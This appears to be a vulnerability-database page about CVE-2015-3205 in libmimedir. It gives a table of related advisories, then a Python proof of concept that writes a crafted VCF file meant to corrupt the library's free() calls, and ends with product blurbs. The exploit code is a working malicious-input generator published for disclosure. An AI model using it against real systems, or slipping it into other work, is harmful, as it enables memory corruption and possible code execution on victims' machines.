| Reporter | Title | Published | Views | Family All 10 |
|---|---|---|---|---|
| Libmimedir VCF Memory Corruption PoC | 10 Jun 201500:00 | – | zdt | |
| Libmimedir Special File Arbitrary Code Execution Vulnerability | 17 Jun 201500:00 | – | cnvd | |
| CVE-2015-3205 | 16 Jun 201516:00 | – | cve | |
| CVE-2015-3205 | 16 Jun 201516:00 | – | cvelist | |
| EUVD-2015-3271 | 7 Oct 202500:30 | – | euvd | |
| Libmimedir - .VCF Memory Corruption (PoC) | 10 Jun 201500:00 | – | exploitpack | |
| CVE-2015-3205 | 16 Jun 201516:59 | – | nvd | |
| Libmimedir VCF Memory Corruption Proof Of Concept | 11 Jun 201500:00 | – | packetstorm | |
| Server side request forgery (ssrf) | 16 Jun 201516:59 | – | prion | |
| CVE-2015-3205 | 16 Jun 201516:59 | – | ubuntucve |
#!/usr/bin/python
# libmimedir-free.py
#
# Libmimedir VCF Memory Corruption PoC (CVE-2015-3205)
#
# Jeremy Brown [jbrown3264/gmail]
# June 2015
#
# -Synopsis-
#
# Adding two NULL bytes to the end of a VCF file allows a user to manipulate free() calls
# which occur during it's lexer's memory clean-up procedure. This could lead to exploitable
# conditions such as crafting a specific memory chunk to allow for arbitrary code execution.
#
# -Tested-
#
# libmimedir-0.5.1.tar.gz
# libmimedir-static 0.4-13.fc21
#
# -Notes-
#
# Reported to Red Hat Bugzilla in May (1222251) and remains unfixed as of now. There's already
# a stale bug (1049214) to upgrade to latest upstream and there wasn't a movement to work on a
# fix with this one. yy_get_next_buffer() in dirlex.c would likely take the patch.
#
from struct import pack
def main():
mime = "begin:vcard<x\nx;type=x;type=x,"
mime += pack("<Q", 0x4141414141414141) # mdm->p
mime += pack("<Q", 0x4242424242424242) # mdm->next
mime += ":x>x.l:x"
mime += pack("<H", 0x0000) # 2 x YY_END_OF_BUFFER_CHAR
print("Writing free.vcf to local directory...")
try:
with open("free.vcf", 'wb') as outfile:
outfile.write(mime)
except Exception as error:
print("Error: %s\n" % error);
return
print("Done\n")
return
if __name__ == "__main__":
main()Data
Build on a solid foundation with Vulners data
We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data
Api
Power your application with Vulners API
The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access
App
Assess and manage vulnerabilities with Vulners tools
Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation